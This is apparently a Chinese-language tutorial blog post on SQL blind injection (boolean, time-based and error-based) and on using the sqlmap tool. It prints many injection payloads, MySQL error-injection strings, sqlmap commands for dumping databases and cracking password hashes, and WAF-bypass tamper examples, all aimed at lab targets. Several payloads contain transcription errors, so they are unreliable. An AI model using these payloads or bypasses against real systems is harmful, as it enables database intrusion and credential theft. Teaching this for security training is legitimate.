随着互联网的不断普及和Web应用的广泛应用,网络安全问题愈发引起广泛关注。在网络安全领域中,SQL注入和XXE注入是两个备受关注的话题,也是导致许多安全漏洞的主要原因之一。本博客将深入研究这两种常见的Web漏洞,带您探寻背后的原理、攻击方式和防御策略。
SQL注入是一种臭名昭著的攻击方式,通过在输入框中插入恶意SQL语句,黑客可以绕过身份验证,进而访问、篡改或删除数据库中的数据。我们将探讨SQL注入的不同形式,以及如何通过正确的输入验证和参数化查询等手段来有效预防这类攻击。
另一方面,XXE注入则利用XML处理器解析XML输入时的弱点,使攻击者能够读取本地文件、发起远程请求等。我们将详细分析XXE注入的工作原理,并介绍如何使用安全的XML解析器配置来降低风险。通过了解这两种漏洞的内在机制,我们希望能够为开发者、安全从业者以及对网络安全感兴趣的人们提供关于Web应用安全的深度认识。在这个信息互联的时代,保护我们的Web应用免受SQL注入和XXE注入等威胁是至关重要的。
三、SQL盲注
1、SQL盲注概述
(1)、正确浏览器前端反应
(2)、错误浏览器前端反应
如果数据库运行返回结果时只反馈对错不会返回数据库兰中的信息此时可以采用逻辑判断是否正确的盲注来获取信息
(3)、盲注是不能通过直接显示的途径来获取数据库数据的方法
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类:
①、布尔盲注
②、时间盲注
③、报错型盲注
(4)、报错型盲注
①、正确时浏览器前端的反应
②、错误时浏览器前端的反应
(5)、布尔盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false。
①、查询语句
SELECT userid FROM member WHERE u_name=$Sname AND u_pass=$pass;
②、注入语句
name=-1' and (select mid(u name,1,1) from member where userid=1)='a'
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
name=-1' and (select mid(u name,3,1) from member where userid=1)='m'
name=-1' and (select mid(u name.4,1) from member where userid=1)='i'
name=-1' and (select mid(u name5,1) from member where userid=1)='n'
(6)、时间盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,,但是由于某些限制,布尔盲注的关键字符带入不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
①、查询语句:
SELECT userid FROM member WHERE u name=$name AND u_pass=$pass;
②、注入语句
name=-1' and (select mid(u name,1,1) from member where userid=1)='a' and (select sleep(3))
name=-1' and (select mid(u name,2,1) from member where userid=1)='d' and (select sleep(3))
name=-1' and (select mid(u name,3,1) from member where userid=1)='m' and (select sleep(3)
name=-1' and (select mid(u name,4,1) from member where userid=1)-'i' and (select sleep(3))
name=-1' and (select mid(u name,5,1) from member where userid=1)='n' and (select sleep(3))
(7)、二分法SQL盲注示例
2、SQL盲注常用函数
(1)、使用条件语句
(2)、布尔型
left(a,b)从左侧截取 a 的前 b 位:left(database0,1)>'s'
substr(a,b,c)从 b 位置开始, 截取字符串 a的 c长度
Ascii()将某个字符转换为 ascii 值:ascii(substr(user),1,1]]=101#
mid(a,b,c)从位置 b 开始,截取 a字符串的 c位:
regexp正则表达式的用法,user()结果为 root, regexp 为匹配 root 的正则表达式:selectuser()
(3)、常见报错注入函数
①、floor(Mysql): and (select 1 from (select count(*),concat(version0,floor(rand(0)*2))x
from information schema.tables group by x)a);
②、Extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table name from information schema.tables limit 1)));
③、Updatexml(Mysql) :and 1=(updatexml(1,concat(0x3a,(select user())),1))
④、EXP: Exp(~(select * from (select user0)a))
⑤、UTL INADDR.get host address(Oracle): and 1=utl inaddr.get host address((select banner(from svs.v Sversion where rownume
(4)、函数
①、left(a,b)函数
(1)、LEFTO函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。LEFT(str,length);
如果str或length参数为NULL,则返回NULL值。
(2)、str是要提取子字符串的字符串
(3)、length是一个正整数,指定将从左边返回的字符数
②、left () 函数
(1)、length为0或为负,则LEFT返回一个空字符串
(2)、length大于str字符串的长度,则LEFT返回整个str字符串
③、length ()函数
(1)、Length () 介绍
(2)、返回字符串str的长度,以字节为单位。一个多字节字符算作多字节
(3)、在mysql内置函数里面查看字符串长度的还有一个函数是char length,两个函数的区别是:length:一个汉字是算三个字符,一个数字或字母算一个字符。 char length: 不管汉字还是数字或者是字母都算是一个字符。
(4)、这意味着对于包含五个两字节字符的字符串LENGTH()返回10,而CHAR_LENGTHO返回5
④、substr ()或substring函数
(1)、SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后
- 、SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)
⑤、ord ()和mid ()函数
(1)、函数ord()函数返回字符串str的最左面字符的ASCII代码值。
(2)、函数mid()用于得到一个字符串的一部分。这个函数被MySOL支持,但不被MS SQL Server和Oracle支持。在SQLServer,Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQLSUBSTR函数作为替代。
⑥、cast()和convert()函数
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
⑦、ifnull ()函数
IFNULL(A,B)意义是当字段A是NULL时取B,不是NULL时取A的值
⑧、延时函数sleep ()或benchmark()
通过在MySQL中执行select sleep(N)可以让此语句运行N秒钟
前提条件:指定条件的记录存在时才会停止指定的秒数
例如:查询条件为name=’pig’,结果表明记录不存在,执行时间为0
基于时间的盲注在使用延迟函数上可以有两个选择:
BENCHMARK(count,expr)函数,
(2) sleep(time)函数
前者通过将 expr语句执行 count次来达到延迟的目的,后者是直接延迟 time时间。
benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
⑨、Xpath类型函数(MysglVersion >=5.1.5)
(1) updatexml ()函数功能:改变文档中符合条件的节点的值
UPDATEXML (XML document, XPath string, new_value);
第一个参数:XML document是String格式,为XML文档对象的名称
第二个参数: XPath_string (Xpath格式的字符串)
第三个参数: new_value,String格式,替换查找到的符合条件的数据
updatexml最多只能显示32位,超过长度可以配合substr()
⑩、Xpath类型函数
(1) extractvalue ()函数功能:对XML文档进行查询的函数,其实就是相当于HTML文件中用标签查找元素。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/...这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是想要查询的内容。
⑪、其他函数
Floor()+count()+group by
Exp()
Bigint (Mysql Version >=5.4.45)
⑫、SQL盲注常用函数应用
实验:基于SQLI平台Less-5的报错盲注利用
3、SQL时间盲注利用
(1)、时间盲注
SQL时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟
(2)、MySQL时间盲注几种延时方法
(3)、MySQL时间盲注几种延时方法
①、get lock函数()需要使用 mysgl_pconnect函数来连接数据库在一个session中可以先锁定一个变量例如: select get_lock(do9gy,1)
②、然后通过另一个session 再次执行get_lock函数 select get_lock(‘do9gy’,5),此时会产生5 秒的延迟,其效果类似于sleep(5)。
(4)、MySQL时间盲注几种延时方法
①、笛卡尔积
笛卡尔乘积是指在数学中,两个集合X和Y的笛卡尔积 (Cartesian product)又称直积,表示为XxY,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员。
(5)、SQL时间盲注利用
实验:基于SQLI平台Less-9的时间盲注利用
4、SQL布尔盲注利用
(1)、MySQL布尔盲注
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
(2)、SQL布尔盲注利用(实验关注获取)
实验:基于SQLI平台Less-8的布尔盲注利用
四、SQLmap
1、SQLMAP简介
(1)、SQLmap
SOLMAP是一个自动化的SOL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
2、SQLMAP安装
(1)、SQLMAP安装
官网:
http://sqlmap.org
Github:
https://github.com/sqlmapproject/sqlmap
注意问题: 安装之前系统需要配置Python2.7环境
3、SQLMAP参数
(1)、验证方法
sqlmap.py -u www.test.com/index.php?id=1
(2)、验证过程
①、判断可注入的参数
②、判断可以用哪种SQL注入技术来注入
③、识别出所有存在的注入类型
④、尝试去判定数据库版本,开发语言,操作系统版本
(3)、获取目标的方式
①、参数 :-m 从文件中取出保存的url进行检测
②、参数: -r 从文本文件中获取http请求
③、参数:-g 测试注入Google的搜索结果的GET参数
④、参数: -l从Burp或者WebScarab代理中获取日志
⑤、参数: -u 直接输入目标URL
(4)、请求目标的相关方式
①、参数 :--data 把数据以POST方式提交
②、参数:--param-del GET或POST的数据用&以外的其他字符分割
③、参数:--cookie,--load-cookies,--drop-set-cookie 设置cookie
④、参数: --referer 伪造HTTP中的referer
⑤、参数:--headers 增加额外的http头
⑥、参数:--timeout 设置超时时间
⑦、参数: --retries 设置重试次数
(5)、注入测试相关参数
①、参数 :--level 探测等级。共有七个等级,默认为1
②、参数:--risk 风险等级,共4个
③、参数: -p,--skip手动用-p参数设置想要测试的参数,--skip设置跳过的参数
(6)、注入技术参数
①、参数 :--technique 指定sqlmap使用的探测技术
②、参数:--time-sec 设定延迟注入的时间
③、参数:--union-cols 设定UNION查询字段数
④、参数:--second-order 设置二次注入的url
(7)、列数据相关参数
①、参数:--b,--banner 列出版本号
②、参数:--current-db 返当前使用的数据库
③、参数:--users 列出所有管理用户
④、参数:--passwords 列出并破解数据库用户的hash
⑤、参数:--privileges 列出数据库管理员权限
(8)、与操作系统权限获取相关的参数
(9)、探测WAF相关的参数
(10)、绕过WAF相关的参数
SQLMAP中有一个tamper目录,主要存放的是WAF绕过脚本,比如:
base64encode.pybetween.py、greatest.py等。
4、SQLMAP使用
(1)、SQLMAP的注入场景
①、基于布尔的盲注:即可以根据返回页面判断条件真假的注入
②、基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加) 来判断。
③、根据用户选择,读取哪些数据
④、基于报错的注入: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
⑤、联合查询注入:可以使用union的情况下的注入
⑥、堆查询注入:可以同时执行多条语句的执行时的注入。
(2)、常见用法:
①、sqlmap -u http://192.168.0.110/page.php?id=10 --current -db //爆当前库
②、sqlmap -u http://192.168.0.110/page.php?id=10 -D数据库名 -tables //爆表段
③、sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名 -T表名columns //爆字段
④、sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名 -T表名 -C 字段名,字段名,字段名...(互相用逗号隔开) --dump 显示数据
(3)、爆当前库
sqlmap -u http://192.168.0.110/page.php?id=10 --current -db
(4)、爆表名
sqlmap -u http://192.168.0.110/page.php?id=10 -D数据库名 --tables
(5)、爆字段
sqlmap -u http://192.168.0.110/page.php?id=10 -D 数据库名 T表名-coumns
5、SQLMAP实例
(1)、实验1:
基于SQLI平台的Less-8 (布尔盲注) Less-9(时间盲注)Less-18 (文件头注入) 中的sqlmap注入 (tech参数)
(2)、实验2:
基于SQLI平台的Less-11 (POST型注入) (form参数)
6、SQLMAP的tamper功能
(1)、SQLMAP的tamper功能
①、SQLMAP中有一个tamper目录,主要存放的是WAF绕过脚本,比如:base64encode.py、between.py、greatest.py等。
②、tamper脚本是SQLMAP的中用于绕过WAF或应对网站过滤逻辑的脚本,SOLMAP的自带了一些tamper脚本,可以在SQLMAP的的tamper目录下查看他们。用户也可以根据已有的tamper脚本来编写自己的tamper脚本 (绕过逻辑)
主要存放的是WAF绕过脚本,比如: base64encode.py、between.py、greatest.py等
(2)、SQLMAP的插件的用法示例:
$ sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get int.php?id=1" --tampertamper/
betweenpy,tamper/randomcasepy, tamper/space2comment.py -v 3
多个tamper脚本之间用空格隔开
(3)、Tamper脚本编写
如图所示便是一个相对完整有效的tamper脚本
其作用是接过要执行的payload,进行相应的绕过逻辑后,返回修改后的payload
①、等号被过滤了----->[equaltolike.py]0------>like代替等号
Example:
*Input: SELECT*FROM users WHERE id=1
*Output: SELECT* FROM users WHERE id LIKE 1
②、替换字符和单引号被过滤---[apostrophenullencode.py]()
Example:
("1 AND 1'='1")
"1 AND %00%271%00%27=%00%271'
③、url编码转换------>[charencode.py]()
SELECT FIELD FROM%20TABLE编码后:
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
(先把字符串转成ASCII编码,然后再转成十六进制)
比如“\”,它的ascii码是92,92的十六进制是5c,“\”的url编码就是%5c
④、字符串 unicode 编码绕过--->[charunicodeencode.py]()
SELECT%20FIELD%20FROM TABLE
编码后:
%u0053%u0045%u004cu0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%0044%u0020%u0046。。。。
Unicode编码的字符以%u为前缀,后面是这个字符的十六进制unicode的码点。
⑤、SQLMAP的tamper功能实验
实验1: sqlmap的tamper原理
实验2: sqlmap-tamper脚本编写
7、SQLMAP检测原理剖析
(1)、SQLMAP的漏洞检测过程,包括前置发包 (一系列探子请求) 、布尔盲注、错误注入、union注入、时间盲注这五个过程
两个基础检测算法 (响应相似度对比技术,高斯分布识别响应机制)
①、响应相似度对比技术在SQLMAP中大量使用;
②、高斯分布识别响应机制在unin注入 (selectnull列数探测技术和时间盲注过程中使用)
(2)、SQLMAP检测之前置发包
在SQLMAP检测SOL注入点的过程中,会有一系列前置发包,这些前置发包主要包括下述一些发包检测逻辑:
- 网站连通性检测:目的为网站连通性检测
- WAF探测:目的为检测网站是否受WAF保护
- 网页稳定性检测:目的为检测网页是否稳定
- 参数动态性检测:目的为检测参数是否具有动态性
- 启发式注入检测:目的为探测该参数点是否是动态的、是否为可能的注入点。payload生成是由," ()六种字符随机组成的长度为10的字符串
- 误报检测: 布尔盲注中使用响应相似度分析技术来确定是否存在注入点,时间盲注中使用高斯算法来确定是否存在注入点,这两种判断方式存在误报的可能,为了防止误报,SQLMAP引入误报检测机制。
(3)、响应相似度对比技术
①、在SQLMAP检测的整个过程中,会有一个原始响应的定义,指的是在网站连通性检测的过程中如果网站成功响应,则把该响应定义为原始响应(包括状态码、HTTP响应头、HTTP响应体)
②、SQLMAP中,原始响应作为对比过程中被对比的对象,一个请求成功响应后,与原始响应进行对比,得出对比结果。
③、算法输出为True表示当前响应与原始响应相似,算法输出为False表示当前响应与原始响应不相似
(4)、SQLMAP检测之union注入主要流程
虚线之上表示前置发包过程,虚线之下表示针对每个注入点都会进行循环发包的流程
union注入的流程可以分为两步走:
①、第一步为确定列数,以order by列数探测技术为主,selectnull列数探测技术为辅形成列数确定技术:
②、第二步为在确定列数的基础上,查找某一个字段是字符串字段,保证数据库信息可以从该字段注出。
(1)、order by列数探测技术
(2)、select null列数探测技术
(3)、select null字符串位置确定技术
(5)、SQLMAP检测之实践注入主要流程
虚线之上表示前置发包过程,虚线之下表示针对每个注入点都会进行循环发包的流程。
时间盲注过程中大量使用响应延迟判断技术,从流程图中可以看到,在针对每一个注入点循环发包时候,一共使用了三次响应延迟判断技术。
确定存在时间注入后,再进入误报检测流程